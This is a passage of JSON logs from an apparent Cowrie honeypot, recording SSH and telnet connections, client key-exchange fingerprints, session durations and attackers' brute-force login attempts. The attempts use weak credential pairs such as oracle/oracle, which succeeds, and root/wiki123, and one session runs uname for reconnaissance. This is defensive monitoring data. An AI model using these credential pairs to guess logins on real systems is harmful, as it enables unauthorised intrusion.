nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:06.110244Z","src_ip":"31.40.204.166","session":"f3bbaa12b3c5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:07.014779Z","src_ip":"31.40.204.166","session":"f3bbaa12b3c5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:07.370013Z","src_ip":"31.40.204.166","session":"f3bbaa12b3c5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:07.373352Z","src_ip":"31.40.204.166","session":"f3bbaa12b3c5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:07.523627Z","src_ip":"31.40.204.166","session":"f3bbaa12b3c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:07.529086Z","src_ip":"31.40.204.166","session":"f3bbaa12b3c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00309181213379,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:09.093309Z","src_ip":"152.42.224.71","session":"e822fd9511d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":84.06534123420715,"message":"Connection lost after 84 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:10.603520Z","src_ip":"152.42.224.71","session":"2afbe110cc9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.97067427635193,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:13.569567Z","src_ip":"152.42.224.71","session":"59eec51d7b29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.16243362426758,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:13.573411Z","src_ip":"152.42.224.71","session":"73acf297d9b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.176.210.17","src_port":57848,"dst_ip":"10.17.0.5","dst_port":22,"session":"c74e91a01f45","protocol":"ssh","message":"New connection: 179.176.210.17:57848 (10.17.0.5:22) [session: c74e91a01f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:16.206721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:16.211375Z","src_ip":"179.176.210.17","session":"c74e91a01f45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:16.356596Z","src_ip":"179.176.210.17","session":"c74e91a01f45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.3689386844635,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:16.827745Z","src_ip":"152.42.224.71","session":"76846a10cea1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"wiki123","message":"login attempt [root/wiki123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:16.958216Z","src_ip":"179.176.210.17","session":"c74e91a01f45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:18.104266Z","src_ip":"179.176.210.17","session":"c74e91a01f45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0014238357544,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:18.320128Z","src_ip":"152.42.224.71","session":"381965cf2018","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":51686,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ca5525b9d3c","protocol":"ssh","message":"New connection: 31.40.204.166:51686 (159.203.135.109:22) [session: 5ca5525b9d3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:18.481088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:18.493257Z","src_ip":"31.40.204.166","session":"5ca5525b9d3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:18.611141Z","src_ip":"31.40.204.166","session":"5ca5525b9d3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.63054370880127,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:19.390771Z","src_ip":"152.42.224.71","session":"b3ec0f092ecf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:19.406988Z","src_ip":"31.40.204.166","session":"5ca5525b9d3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:20.589351Z","src_ip":"31.40.204.166","session":"5ca5525b9d3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49260,"dst_ip":"159.203.135.109","dst_port":22,"session":"161051cc0ba3","protocol":"ssh","message":"New connection: 31.40.204.166:49260 (159.203.135.109:22) [session: 161051cc0ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:30.490205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:30.494618Z","src_ip":"31.40.204.166","session":"161051cc0ba3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:30.626726Z","src_ip":"31.40.204.166","session":"161051cc0ba3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":101.337322473526,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:30.923203Z","src_ip":"152.42.224.71","session":"ff58b74d739c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:31.120219Z","src_ip":"31.40.204.166","session":"161051cc0ba3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41380,"dst_ip":"10.17.0.5","dst_port":23,"session":"45d040f002bb","protocol":"telnet","message":"New connection: 152.42.224.71:41380 (10.17.0.5:23) [session: 45d040f002bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:31.245655Z"}
{"eventid":"cowrie.session.closed","duration":110.34841299057007,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:32.020955Z","src_ip":"152.42.224.71","session":"5c4e8f70ccc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:32.298024Z","src_ip":"31.40.204.166","session":"161051cc0ba3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.27800941467285,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:34.608172Z","src_ip":"152.42.224.71","session":"58e1052ffa16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41386,"dst_ip":"10.17.0.5","dst_port":23,"session":"192b17ecb12f","protocol":"telnet","message":"New connection: 152.42.224.71:41386 (10.17.0.5:23) [session: 192b17ecb12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:35.745134Z"}
{"eventid":"cowrie.session.closed","duration":120.00136685371399,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:36.225600Z","src_ip":"152.42.224.71","session":"8bb9e765be0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47456,"dst_ip":"10.17.0.5","dst_port":23,"session":"69a2bf75bce4","protocol":"telnet","message":"New connection: 152.42.224.71:47456 (10.17.0.5:23) [session: 69a2bf75bce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:36.875222Z"}
{"eventid":"cowrie.session.closed","duration":120.00215125083923,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:38.061365Z","src_ip":"152.42.224.71","session":"31132fcbb73a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":119.06767272949219,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:39.265850Z","src_ip":"152.42.224.71","session":"3ddf8d49ea8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47464,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0510d33f438","protocol":"telnet","message":"New connection: 152.42.224.71:47464 (10.17.0.5:23) [session: a0510d33f438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:42.260811Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60712,"dst_ip":"159.203.135.109","dst_port":22,"session":"ade76f569593","protocol":"ssh","message":"New connection: 31.40.204.166:60712 (159.203.135.109:22) [session: ade76f569593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:42.386509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:42.411492Z","src_ip":"31.40.204.166","session":"ade76f569593","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:42.615950Z","src_ip":"31.40.204.166","session":"ade76f569593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:43.188379Z","src_ip":"31.40.204.166","session":"ade76f569593","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:44.492497Z","src_ip":"31.40.204.166","session":"ade76f569593","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58334,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b60e26ef332","protocol":"telnet","message":"New connection: 152.42.224.71:58334 (10.17.0.5:23) [session: 4b60e26ef332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:48.589495Z"}
{"eventid":"cowrie.session.closed","duration":15.083356380462646,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:50.828372Z","src_ip":"152.42.224.71","session":"192b17ecb12f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.24668574333191,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:51.661211Z","src_ip":"152.42.224.71","session":"20ae1c4d0e06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58350,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c860e0528d8","protocol":"telnet","message":"New connection: 152.42.224.71:58350 (10.17.0.5:23) [session: 8c860e0528d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:53.962687Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60482,"dst_ip":"159.203.135.109","dst_port":22,"session":"f69987f4c8ad","protocol":"ssh","message":"New connection: 31.40.204.166:60482 (159.203.135.109:22) [session: f69987f4c8ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:54.780767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:54.787244Z","src_ip":"31.40.204.166","session":"f69987f4c8ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:54.910441Z","src_ip":"31.40.204.166","session":"f69987f4c8ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:55.490185Z","src_ip":"31.40.204.166","session":"f69987f4c8ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58366,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a6d7df03b48","protocol":"telnet","message":"New connection: 152.42.224.71:58366 (10.17.0.5:23) [session: 1a6d7df03b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:55.726193Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:56.623568Z","src_ip":"31.40.204.166","session":"f69987f4c8ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38830,"dst_ip":"10.17.0.5","dst_port":23,"session":"5300e4159697","protocol":"telnet","message":"New connection: 152.42.224.71:38830 (10.17.0.5:23) [session: 5300e4159697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:02.020281Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53996,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c23d7e935d7","protocol":"ssh","message":"New connection: 31.40.204.166:53996 (159.203.135.109:22) [session: 7c23d7e935d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:06.787564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:06.882949Z","src_ip":"31.40.204.166","session":"7c23d7e935d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@open